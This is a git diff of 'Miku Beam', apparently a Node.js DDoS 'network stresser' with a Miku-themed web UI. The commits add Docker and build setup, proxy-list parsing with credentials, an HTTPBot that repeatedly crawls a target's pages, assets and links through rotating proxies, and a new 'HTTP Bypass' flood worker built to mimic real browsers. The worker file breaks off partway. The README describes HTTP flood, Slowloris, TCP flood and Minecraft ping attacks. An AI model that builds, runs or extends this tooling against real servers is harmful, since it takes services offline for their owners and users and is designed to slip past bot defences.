Compare commits
18 commits
rainwashed
...
main
Author | SHA1 | Date | |
---|---|---|---|
|
7707d29a2a | ||
|
b026dbe8eb | ||
|
791c4d3c8c | ||
|
10bcb2bafd | ||
|
60aab0bf2b | ||
|
2f97120550 | ||
|
185c01aa6d | ||
|
e6f9c89f43 | ||
|
26f6a37e80 | ||
|
58c5e38238 | ||
|
37ab437480 | ||
|
f32e7a27ae | ||
|
ac3cae6d72 | ||
|
c90424628b | ||
|
155d2a6806 | ||
|
289eff9ac1 | ||
|
0e27a8b54c | ||
|
f076d24bad |
24 changed files with 732 additions and 121 deletions
23
Dockerfile
Normal file
23
Dockerfile
Normal file
|
@ -0,0 +1,23 @@
|
|||
# Use the official Node.js v20 image as a base
|
||||
FROM node:20
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy package.json
|
||||
COPY package*.json ./
|
||||
|
||||
# Install dependencies using bun
|
||||
RUN npm install
|
||||
|
||||
# Copy the rest of the source code
|
||||
COPY . .
|
||||
|
||||
# Build the project and output to the ./dist directory
|
||||
RUN npm run build
|
||||
|
||||
# Expose the port the app runs on (adjust if necessary)
|
||||
EXPOSE 3000
|
||||
|
||||
# Run the application
|
||||
CMD ["npm", "run", "start"]
|
56
Gruntfile.cjs
Normal file
56
Gruntfile.cjs
Normal file
|
@ -0,0 +1,56 @@
|
|||
module.exports = function (grunt) {
|
||||
grunt.initConfig({
|
||||
pkg: grunt.file.readJSON("package.json"),
|
||||
|
||||
// Build from source.
|
||||
shell: {
|
||||
clean: {
|
||||
command: "rimraf dist",
|
||||
},
|
||||
|
||||
buildClient: {
|
||||
command: "vite build",
|
||||
},
|
||||
buildServer: {
|
||||
command:
|
||||
"tsc --project tsconfig.server.json && tsc-alias -p tsconfig.server.json",
|
||||
},
|
||||
},
|
||||
|
||||
// Copy worker files (Backend attack methods and utilities)
|
||||
copy: {
|
||||
static_workers: {
|
||||
expand: true,
|
||||
cwd: "server/workers/",
|
||||
src: "*",
|
||||
dest: "dist/workers/",
|
||||
},
|
||||
static_utils: {
|
||||
expand: true,
|
||||
cwd: "server/utils/",
|
||||
src: "*",
|
||||
dest: "dist/utils/",
|
||||
},
|
||||
},
|
||||
|
||||
// Run concurrent tasks
|
||||
concurrent: {
|
||||
build: ["shell:buildClient", "shell:buildServer"],
|
||||
copy_static: ["copy:static_workers", "copy:static_utils"],
|
||||
},
|
||||
});
|
||||
|
||||
grunt.loadNpmTasks("grunt-contrib-copy");
|
||||
grunt.loadNpmTasks("grunt-shell");
|
||||
grunt.loadNpmTasks("grunt-concurrent");
|
||||
|
||||
// Run our tasks
|
||||
grunt.registerTask("build", [
|
||||
"shell:clean",
|
||||
"concurrent:build",
|
||||
"concurrent:copy_static",
|
||||
]);
|
||||
|
||||
grunt.registerTask("build_server", ["shell:buildServer"]);
|
||||
grunt.registerTask("build_client", ["shell:buildClient"]);
|
||||
};
|
71
README.md
71
README.md
|
@ -6,6 +6,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
|||
|
||||
## Features 🎉
|
||||
|
||||
- 🐳 **Docker Ready**: MMB is ready to be built and run in a Docker container.
|
||||
- 🌐 **Real-time Attack Visualization**: View your attack’s progress and statistics in real-time as it runs. 🔥
|
||||
- 🎶 **Miku-themed UI**: A cute and vibrant design with Miku’s vibe to make the process more fun. Includes a banger song to keep you pumped! 🎧
|
||||
- 🧑💻 **Configurable Attack Parameters**: Easily set the attack method, packet size, duration, and packet delay via the frontend interface.
|
||||
|
@ -14,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
|||
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
|
||||
- 📡 **Attack Methods:**:
|
||||
- `HTTP Flood` - Send random HTTP requests
|
||||
- `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
|
||||
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
||||
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
||||
- `TCP Flood` - Send random TCP packets
|
||||
|
@ -27,7 +29,7 @@ Make sure you have the following installed:
|
|||
- Node.js (v14 or above) 🌱
|
||||
- npm (Node Package Manager) 📦
|
||||
|
||||
### Installation 💻
|
||||
### Development Mode 🔧
|
||||
|
||||
1. Clone this repository:
|
||||
|
||||
|
@ -43,18 +45,50 @@ Make sure you have the following installed:
|
|||
```
|
||||
|
||||
3. Create the necessary files:
|
||||
- `proxies.txt` - List of proxies.
|
||||
- `uas.txt` - List of user agents.
|
||||
- `data/proxies.txt` - List of proxies.
|
||||
- `data/uas.txt` - List of user agents.
|
||||
|
||||
4. Run the server:
|
||||
4. Run the server in development mode:
|
||||
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
|
||||
The server will run on port `3000` by default. 🌐
|
||||
- The **frontend** runs on `http://localhost:5173`.
|
||||
- The **backend** runs on `http://localhost:3000`.
|
||||
|
||||
5. Open the frontend (usually accessible at `http://localhost:5173`), where you can configure and visualize your attacks.
|
||||
---
|
||||
|
||||
### Production Mode 💥
|
||||
|
||||
1. Clone the repository and navigate to the project directory:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/sammwyy/mikumikubeam.git
|
||||
cd mikumikubeam
|
||||
```
|
||||
|
||||
2. Install the dependencies:
|
||||
|
||||
```bash
|
||||
npm install
|
||||
```
|
||||
|
||||
3. Build the project:
|
||||
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
|
||||
4. Start the server in production mode:
|
||||
|
||||
```bash
|
||||
npm run start
|
||||
```
|
||||
|
||||
In production mode, both the **frontend** and **backend** are served on the same port (`http://localhost:3000`).
|
||||
|
||||
> Don't forget to add the necessary files `data/proxies.txt` and `data/uas.txt`.
|
||||
|
||||
## Usage ⚙️
|
||||
|
||||
|
@ -128,23 +162,26 @@ const attackHandlers = {
|
|||
|
||||
### FAQs ❓
|
||||
|
||||
> 1. What operating system does MMB support?
|
||||
**1. What operating system does MMB support?**
|
||||
|
||||
**Re:** **Windows**, **Linux**, **Mac** and **Android (untested)**
|
||||
> **Windows**, **Linux**, **Mac** and **Android (untested)**
|
||||
|
||||
> 2. It crashes on startup, giving a "concurrently" error.
|
||||
**2. It crashes on startup, giving a "concurrently" error**
|
||||
|
||||
**Re:** Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
|
||||
> Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
|
||||
|
||||
> 3. I go to "http://localhost:3000" and nothing appears.
|
||||
**3. I go to "<http://localhost:3000>" and nothing appears.**
|
||||
|
||||
**Re:** Port `3000` is the server port, to see the UI you must use port `5173` (http://localhost:5173)
|
||||
> Port `3000` is the server port, to see the UI you must use port `5173` (<http://localhost:5173>)
|
||||
|
||||
> 4. Requests fail to be sent to the target server (Read timeout and variations)
|
||||
**Re:** You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
|
||||
- `protocol://host:port`
|
||||
- `host:port` (Uses http as default protocol)
|
||||
- `host` (Uses 8080 as default port)
|
||||
**4. Requests fail to be sent to the target server (Read timeout and variations)**
|
||||
|
||||
> You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
|
||||
>
|
||||
> - `protocol://user:password@host:port` (Proxy with authentication)
|
||||
> - `protocol://host:port`
|
||||
> - `host:port` (Uses http as default protocol)
|
||||
> - `host` (Uses 8080 as default port)
|
||||
|
||||
---
|
||||
|
||||
|
|
BIN
bun.lockb
BIN
bun.lockb
Binary file not shown.
14
docker-compose.yml
Normal file
14
docker-compose.yml
Normal file
|
@ -0,0 +1,14 @@
|
|||
version: "3.8"
|
||||
|
||||
services:
|
||||
app:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
ports:
|
||||
- "3000:3000"
|
||||
volumes:
|
||||
- .:/app
|
||||
environment:
|
||||
- NODE_ENV=development
|
||||
command: npm run start
|
|
@ -2,7 +2,7 @@
|
|||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<link rel="icon" type="image/svg+xml" href="/miku.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Miku Beam - Network Stresser</title>
|
||||
</head>
|
||||
|
|
27
package.json
27
package.json
|
@ -3,26 +3,31 @@
|
|||
"private": true,
|
||||
"version": "0.0.0",
|
||||
"type": "module",
|
||||
"main": "./dist/index.js",
|
||||
"scripts": {
|
||||
"dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"",
|
||||
"dev:server": "tsx watch server/",
|
||||
"dev:client": "vite",
|
||||
"build": "vite build",
|
||||
"dev:server": "cross-env NODE_ENV=development tsx watch server/",
|
||||
"dev:client": "cross-env NODE_ENV=development vite",
|
||||
"clean": "rimraf ./dist",
|
||||
"build": "grunt build",
|
||||
"build:client": "grunt build_client",
|
||||
"build:server": "grunt build_server",
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview"
|
||||
"preview": "vite preview",
|
||||
"start": "cross-env NODE_ENV=production node ."
|
||||
},
|
||||
"dependencies": {
|
||||
"axios": "^1.7.9",
|
||||
"body-parser": "^1.20.3",
|
||||
"concurrently": "^9.1.2",
|
||||
"cheerio": "^1.0.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"express": "^4.21.2",
|
||||
"lucide-react": "^0.344.0",
|
||||
"react": "^18.3.1",
|
||||
"react-dom": "^18.3.1",
|
||||
"socket.io": "^4.7.4",
|
||||
"socket.io-client": "^4.7.4",
|
||||
"socks-proxy-agent": "^8.0.5",
|
||||
"tsx": "^4.19.2"
|
||||
"socks-proxy-agent": "^8.0.5"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.9.1",
|
||||
|
@ -31,12 +36,20 @@
|
|||
"@types/react-dom": "^18.3.0",
|
||||
"@vitejs/plugin-react": "^4.3.1",
|
||||
"autoprefixer": "^10.4.18",
|
||||
"concurrently": "^9.1.2",
|
||||
"eslint": "^9.9.1",
|
||||
"eslint-plugin-react-hooks": "^5.1.0-rc.0",
|
||||
"eslint-plugin-react-refresh": "^0.4.11",
|
||||
"globals": "^15.9.0",
|
||||
"grunt": "^1.6.1",
|
||||
"grunt-concurrent": "^3.0.0",
|
||||
"grunt-contrib-copy": "^1.0.0",
|
||||
"grunt-shell": "^4.0.0",
|
||||
"postcss": "^8.4.35",
|
||||
"rimraf": "^6.0.1",
|
||||
"tailwindcss": "^3.4.1",
|
||||
"tsc-alias": "^1.8.10",
|
||||
"tsx": "^4.19.2",
|
||||
"typescript": "^5.5.3",
|
||||
"typescript-eslint": "^8.3.0",
|
||||
"vite": "^5.4.2"
|
||||
|
|
1
public/miku.svg
Normal file
1
public/miku.svg
Normal file
File diff suppressed because one or more lines are too long
After Width: | Height: | Size: 2.6 MiB |
|
@ -28,9 +28,23 @@ export function loadUserAgents() {
|
|||
|
||||
export function loadProxies(): Proxy[] {
|
||||
const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
|
||||
|
||||
//RegEx for proxies with authentication (protocol://user:pass@host:port)
|
||||
const authProxiesRegEx = new RegExp(/^(http|https|socks4|socks5|):\/\/(\S+:\S+)@((\w+|\d+\.\d+\.\d+\.\d+):\d+)$/, 'g');
|
||||
|
||||
return lines.map((line) => {
|
||||
const [protocol, addr] = line.split("://");
|
||||
const [host, port] = addr.split(":");
|
||||
return { protocol, host, port: parseInt(port) };
|
||||
const [protocol, loginInfo] = line.split("://");
|
||||
|
||||
if (authProxiesRegEx.test(line)) {
|
||||
const [auth, addr] = loginInfo.split("@");
|
||||
const [user, pass] = auth.split(":");
|
||||
const [host, port] = addr.split(":");
|
||||
|
||||
return { protocol, host, port: parseInt(port), username: user, password: pass };
|
||||
} else {
|
||||
const [host, port] = loginInfo.split(":");
|
||||
|
||||
return { protocol, host, port: parseInt(port) };
|
||||
}
|
||||
});
|
||||
}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
import express from "express";
|
||||
import { readFileSync, writeFileSync } from "fs";
|
||||
import { createServer } from "http";
|
||||
import { dirname, join } from "path";
|
||||
import { readFileSync, writeFileSync } from "fs";
|
||||
import { Server } from "socket.io";
|
||||
import { fileURLToPath } from "url";
|
||||
import { Worker } from "worker_threads";
|
||||
|
||||
import bodyParser from "body-parser";
|
||||
import { currentPath, loadProxies, loadUserAgents } from "./fileLoader";
|
||||
import { AttackMethod } from "./lib";
|
||||
import { filterProxies } from "./proxyUtils";
|
||||
import bodyParser from "body-parser";
|
||||
|
||||
// Define the workers based on attack type
|
||||
const attackWorkers: { [key in AttackMethod]: string } = {
|
||||
http_flood: "./workers/httpFloodAttack.js",
|
||||
http_bypass: "./workers/httpBypassAttack.js",
|
||||
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
||||
tcp_flood: "./workers/tcpFloodAttack.js",
|
||||
minecraft_ping: "./workers/minecraftPingAttack.js",
|
||||
|
@ -21,14 +22,15 @@ const attackWorkers: { [key in AttackMethod]: string } = {
|
|||
|
||||
const __filename = fileURLToPath(import.meta.url);
|
||||
const __dirname = dirname(__filename);
|
||||
const __prod = process.env.NODE_ENV === "production";
|
||||
|
||||
const app = express();
|
||||
const httpServer = createServer(app);
|
||||
const io = new Server(httpServer, {
|
||||
cors: {
|
||||
origin: "http://localhost:5173",
|
||||
origin: __prod ? "" : "http://localhost:5173",
|
||||
methods: ["GET", "POST"],
|
||||
allowedHeaders: ["Content-Type"]
|
||||
allowedHeaders: ["Content-Type"],
|
||||
},
|
||||
});
|
||||
|
||||
|
@ -38,6 +40,8 @@ const userAgents = loadUserAgents();
|
|||
console.log("Proxies loaded:", proxies.length);
|
||||
console.log("User agents loaded:", userAgents.length);
|
||||
|
||||
app.use(express.static(join(__dirname, "public")));
|
||||
|
||||
io.on("connection", (socket) => {
|
||||
console.log("Client connected");
|
||||
|
||||
|
@ -109,47 +113,56 @@ io.on("connection", (socket) => {
|
|||
});
|
||||
|
||||
app.get("/configuration", (req, res) => {
|
||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
|
||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
||||
res.setHeader("Content-Type", "application/json");
|
||||
let proxiesText = readFileSync(join(currentPath(), "data", "proxies.txt"), "utf-8");
|
||||
let uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
|
||||
|
||||
const proxiesText = readFileSync(
|
||||
join(currentPath(), "data", "proxies.txt"),
|
||||
"utf-8"
|
||||
);
|
||||
const uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
|
||||
|
||||
res.send({
|
||||
proxies: btoa(proxiesText),
|
||||
uas: btoa(uasText),
|
||||
})
|
||||
})
|
||||
});
|
||||
});
|
||||
|
||||
app.options('/configuration', (req, res) => {
|
||||
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:5173');
|
||||
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
|
||||
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
|
||||
app.options("/configuration", (req, res) => {
|
||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
||||
res.setHeader("Access-Control-Allow-Methods", "POST, OPTIONS");
|
||||
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
|
||||
res.send();
|
||||
});
|
||||
|
||||
|
||||
app.post("/configuration", bodyParser.json(), (req, res) => {
|
||||
res.setHeader("Access-Control-Allow-Methods", "POST");
|
||||
res.setHeader("Access-Control-Allow-Headers", "Content-Type")
|
||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
|
||||
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
|
||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
||||
res.setHeader("Content-Type", "application/text");
|
||||
|
||||
// console.log(req.body)
|
||||
|
||||
// atob and btoa are used to avoid the problems in sending data with // characters, etc.
|
||||
let proxies = atob(req.body["proxies"]);
|
||||
let uas = atob(req.body["uas"]);
|
||||
const proxies = atob(req.body["proxies"]);
|
||||
const uas = atob(req.body["uas"]);
|
||||
writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, {
|
||||
encoding: "utf-8"
|
||||
encoding: "utf-8",
|
||||
});
|
||||
writeFileSync(join(currentPath(), "data", "uas.txt"), uas, {
|
||||
encoding: "utf-8"
|
||||
encoding: "utf-8",
|
||||
});
|
||||
|
||||
res.send("OK")
|
||||
})
|
||||
|
||||
const PORT = 3000;
|
||||
httpServer.listen(PORT, () => {
|
||||
console.log(`Server running on port ${PORT}`);
|
||||
res.send("OK");
|
||||
});
|
||||
|
||||
const PORT = parseInt(process.env.PORT || "3000");
|
||||
httpServer.listen(PORT, () => {
|
||||
if (__prod) {
|
||||
console.log(
|
||||
`(Production Mode) Client and server is running under http://localhost:${PORT}`
|
||||
);
|
||||
} else {
|
||||
console.log(`Server is running under development port ${PORT}`);
|
||||
}
|
||||
});
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string;
|
||||
|
||||
export interface Proxy {
|
||||
username?: string;
|
||||
password?: string;
|
||||
protocol: ProxyProtocol;
|
||||
host: string;
|
||||
port: number;
|
||||
|
@ -8,6 +10,7 @@ export interface Proxy {
|
|||
|
||||
export type AttackMethod =
|
||||
| "http_flood"
|
||||
| "http_bypass"
|
||||
| "http_slowloris"
|
||||
| "tcp_flood"
|
||||
| "minecraft_ping";
|
||||
|
|
|
@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
|
|||
|
||||
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
|
||||
http_flood: ["http", "https", "socks4", "socks5"],
|
||||
http_bypass: ["http", "https", "socks4", "socks5"],
|
||||
http_slowloris: ["socks4", "socks5"],
|
||||
tcp_flood: ["socks4", "socks5"],
|
||||
minecraft_ping: ["socks4", "socks5"],
|
||||
|
|
113
server/utils/clientUtils.js
Normal file
113
server/utils/clientUtils.js
Normal file
|
@ -0,0 +1,113 @@
|
|||
import axios from "axios";
|
||||
import net from "net";
|
||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||
|
||||
// Misc
|
||||
export function createAgent(proxy) {
|
||||
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
|
||||
throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol);
|
||||
}
|
||||
|
||||
const uri = `${proxy.protocol}://${
|
||||
proxy.username && proxy.password
|
||||
? `${proxy.username}:${proxy.password}@`
|
||||
: ""
|
||||
}${proxy.host}:${proxy.port}`;
|
||||
|
||||
return new SocksProxyAgent(uri);
|
||||
}
|
||||
|
||||
// HTTP Client
|
||||
export function createMimicHttpClient(proxy, userAgent) {
|
||||
return createHttpClient({
|
||||
headers: { "User-Agent": userAgent },
|
||||
proxy,
|
||||
timeout: 5000,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
maxRedirects: 3,
|
||||
});
|
||||
}
|
||||
|
||||
export function createHttpClient(
|
||||
clientConfig = {
|
||||
headers: {
|
||||
"User-Agent":
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
|
||||
},
|
||||
timeout: 5000,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
maxRedirects: 0,
|
||||
proxy: {},
|
||||
}
|
||||
) {
|
||||
const config = { ...clientConfig };
|
||||
const proxy = config.proxy;
|
||||
|
||||
if (proxy.protocol == "http" || proxy.protocol == "https") {
|
||||
config.proxy = {
|
||||
host: proxy.host,
|
||||
port: proxy.port,
|
||||
auth: proxy.username ? { username: proxy.username } : null,
|
||||
};
|
||||
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
|
||||
const agent = createAgent(proxy);
|
||||
config.proxy = false;
|
||||
config.httpAgent = agent;
|
||||
config.httpsAgent = agent;
|
||||
} else {
|
||||
throw new Error(
|
||||
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
|
||||
);
|
||||
}
|
||||
|
||||
const client = axios.create(config);
|
||||
return client;
|
||||
}
|
||||
|
||||
// TCP Client
|
||||
const DEFAULT_SOCKET_CONFIG = {
|
||||
host: "127.0.0.1",
|
||||
port: 1080,
|
||||
timeout: 5000,
|
||||
};
|
||||
|
||||
export function createTcpClient(
|
||||
proxy,
|
||||
socketConfig = DEFAULT_SOCKET_CONFIG,
|
||||
callback
|
||||
) {
|
||||
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
|
||||
throw new Error(
|
||||
"Unsupported proxy protocol for TCP client: " + proxy.protocol
|
||||
);
|
||||
}
|
||||
|
||||
const socket = new net.Socket();
|
||||
const proxyAgent = createAgent(proxy);
|
||||
const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig };
|
||||
|
||||
socket.setTimeout(config.timeout);
|
||||
|
||||
socket.connect(
|
||||
{ host: config.host, port: config.port, agent: proxyAgent },
|
||||
() => {
|
||||
if (callback) callback(socket);
|
||||
socket["open"] = true;
|
||||
}
|
||||
);
|
||||
|
||||
socket.on("close", () => {
|
||||
socket["open"] = false;
|
||||
});
|
||||
|
||||
socket.on("timeout", () => {
|
||||
socket.destroy();
|
||||
socket["open"] = false;
|
||||
});
|
||||
|
||||
return socket;
|
||||
}
|
212
server/utils/httpBot.js
Normal file
212
server/utils/httpBot.js
Normal file
|
@ -0,0 +1,212 @@
|
|||
import { load as cheerioLoad } from "cheerio"; // For parsing HTML
|
||||
|
||||
import { createHttpClient } from "./clientUtils.js";
|
||||
import { randomInteger } from "./randomUtils.js";
|
||||
|
||||
export default class HTTPBot {
|
||||
constructor({
|
||||
proxy = null,
|
||||
userAgent = "Mozilla/5.0",
|
||||
headers = {},
|
||||
followRedirects = true,
|
||||
responseCallback = null,
|
||||
} = {}) {
|
||||
this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
|
||||
this.running = false;
|
||||
|
||||
// Default headers
|
||||
this.defaultHeaders = {
|
||||
"User-Agent": userAgent,
|
||||
Accept:
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
Connection: "keep-alive",
|
||||
...headers, // Override default headers if custom headers are passed
|
||||
};
|
||||
|
||||
// Create Axios instance with optional proxy and cookie handling
|
||||
this.axiosInstance = createHttpClient({
|
||||
headers: this.defaultHeaders,
|
||||
proxy,
|
||||
timeout: 10000,
|
||||
maxRedirects: followRedirects ? 5 : 0,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
});
|
||||
|
||||
this.cookies = {}; // Store cookies from responses
|
||||
this.responseCallback = responseCallback;
|
||||
}
|
||||
|
||||
// Main function that starts the cycle
|
||||
startCycle(url) {
|
||||
this.running = true;
|
||||
this.runCycle(url);
|
||||
}
|
||||
|
||||
// Perform the cycle recursively with setTimeout to avoid blocking
|
||||
async runCycle(url) {
|
||||
if (!this.running) return; // Exit if the bot is not running
|
||||
|
||||
const runNextCycle = async () => {
|
||||
// Wait for a random time between 2 to 10 seconds before starting the next cycle
|
||||
const randomWait = randomInteger(2000, 10000);
|
||||
await this.sleep(randomWait);
|
||||
|
||||
// Start the next cycle
|
||||
this.runCycle(url);
|
||||
};
|
||||
|
||||
try {
|
||||
// Perform a GET request to the main URL
|
||||
const mainResponse = await this.getRequest(url, true);
|
||||
if (!mainResponse) {
|
||||
runNextCycle();
|
||||
return;
|
||||
}
|
||||
|
||||
const $ = cheerioLoad(mainResponse.data);
|
||||
|
||||
// Get all assets (CSS, JS, IMG)
|
||||
const assets = this.getAssets($, url);
|
||||
|
||||
// Download all assets
|
||||
for (let asset of assets) {
|
||||
await this.getRequest(asset);
|
||||
}
|
||||
|
||||
// Get all <a> links and make GET requests to each one with a delay
|
||||
const links = this.getLinks($, url);
|
||||
const linkPromises = links.map((link) => this.getRequest(link));
|
||||
|
||||
// Wait for all links to be processed
|
||||
await Promise.all(linkPromises);
|
||||
|
||||
// Run the next cycle
|
||||
runNextCycle();
|
||||
} catch (err) {
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Makes a GET request with Axios and handles errors
|
||||
async getRequest(url, bypassAlreadyVisited = false) {
|
||||
if (!bypassAlreadyVisited) {
|
||||
if (this.visitedUrls.has(url)) {
|
||||
// console.log(`Skipping already visited URL: ${url}`);
|
||||
return;
|
||||
}
|
||||
|
||||
this.visitedUrls.add(url);
|
||||
}
|
||||
|
||||
try {
|
||||
// console.log(`Requesting: ${url}`);
|
||||
const response = await this.axiosInstance.get(url);
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback();
|
||||
}
|
||||
|
||||
// Handle cookies from response headers
|
||||
this.handleCookies(response.headers["set-cookie"]);
|
||||
|
||||
// Wait between 2 to 5 seconds after each request
|
||||
await this.sleep(randomInteger(100, 1000));
|
||||
return response;
|
||||
} catch (error) {
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback(error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Handle cookies by storing them and attaching them to future requests
|
||||
handleCookies(setCookieHeader) {
|
||||
if (setCookieHeader) {
|
||||
setCookieHeader.forEach((cookie) => {
|
||||
const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
|
||||
const [cookieName, cookieValue] = cookieParts.split("=");
|
||||
this.cookies[cookieName] = cookieValue;
|
||||
});
|
||||
|
||||
// Add the cookies to the headers for the next request
|
||||
this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
|
||||
this.cookies
|
||||
)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("; ");
|
||||
}
|
||||
}
|
||||
|
||||
// Extracts all assets (CSS, JS, IMG) from the HTML
|
||||
getAssets($, target) {
|
||||
let assets = [];
|
||||
$('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
|
||||
const src = $(el).attr("href") || $(el).attr("src");
|
||||
if (src) assets.push(src);
|
||||
});
|
||||
|
||||
// Normalize assets by target
|
||||
assets = assets.map((asset) => {
|
||||
if (asset.startsWith("../")) {
|
||||
asset = asset.slice(3);
|
||||
}
|
||||
|
||||
if (asset.startsWith("./")) {
|
||||
asset = asset.slice(2);
|
||||
}
|
||||
|
||||
if (asset.startsWith("/")) {
|
||||
asset = asset.slice(1);
|
||||
}
|
||||
|
||||
if (asset.includes("://")) return asset;
|
||||
return `${target}/${asset}`;
|
||||
});
|
||||
|
||||
return assets;
|
||||
}
|
||||
|
||||
// Extracts all <a> links to make GET requests to each one
|
||||
getLinks($, target) {
|
||||
let links = [];
|
||||
$("a[href]").each((i, el) => {
|
||||
const href = $(el).attr("href");
|
||||
if (href) links.push(href);
|
||||
});
|
||||
|
||||
// Normalize links by target
|
||||
links = links.map((link) => {
|
||||
if (link.startsWith("../")) {
|
||||
link = link.slice(3);
|
||||
}
|
||||
|
||||
if (link.startsWith("./")) {
|
||||
link = link.slice(2);
|
||||
}
|
||||
|
||||
if (link.startsWith("/")) {
|
||||
link = link.slice(1);
|
||||
}
|
||||
|
||||
if (link.includes("://")) return link;
|
||||
return `${target}/${link}`;
|
||||
});
|
||||
|
||||
return links;
|
||||
}
|
||||
|
||||
// Function to wait for a random amount of time
|
||||
sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
// Stop the cycle
|
||||
stopCycle() {
|
||||
this.running = false;
|
||||
}
|
||||
}
|
|
@ -1,6 +1,5 @@
|
|||
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
|
||||
import net from "net";
|
||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||
import { createTcpClient } from "./clientUtils.js";
|
||||
|
||||
class MinecraftProtocol {
|
||||
static writeVarInt(val) {
|
||||
|
@ -87,17 +86,7 @@ class MinecraftBufferReader {
|
|||
|
||||
export function pingMinecraftServer(host, port, proxy) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const { protocol, host: proxyHost, port: proxyPort } = proxy;
|
||||
|
||||
const agent = new SocksProxyAgent(
|
||||
`${protocol}://${proxyHost}:${proxyPort}`
|
||||
);
|
||||
|
||||
const socket = net.createConnection({
|
||||
host: host,
|
||||
port: port,
|
||||
agent: agent,
|
||||
});
|
||||
const socket = createTcpClient(proxy, { host, port });
|
||||
|
||||
const timeoutTask = setTimeout(() => {
|
||||
socket.emit("error", new Error("Socket timeout"));
|
||||
|
|
|
@ -16,3 +16,7 @@ export function randomString(length) {
|
|||
export function randomInteger(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
export function randomItem(array) {
|
||||
return array[Math.floor(Math.random() * array.length)];
|
||||
}
|
||||
|
|
92
server/workers/httpBypassAttack.js
Normal file
92
server/workers/httpBypassAttack.js
Normal file
|
@ -0,0 +1,92 @@
|
|||
import { parentPort, workerData } from "worker_threads";
|
||||
|
||||
import HTTPBot from "../utils/httpBot.js";
|
||||
import { randomItem } from "../utils/randomUtils.js";
|
||||
|
||||
const HTTP_ACCEPT_HEADERS = [
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
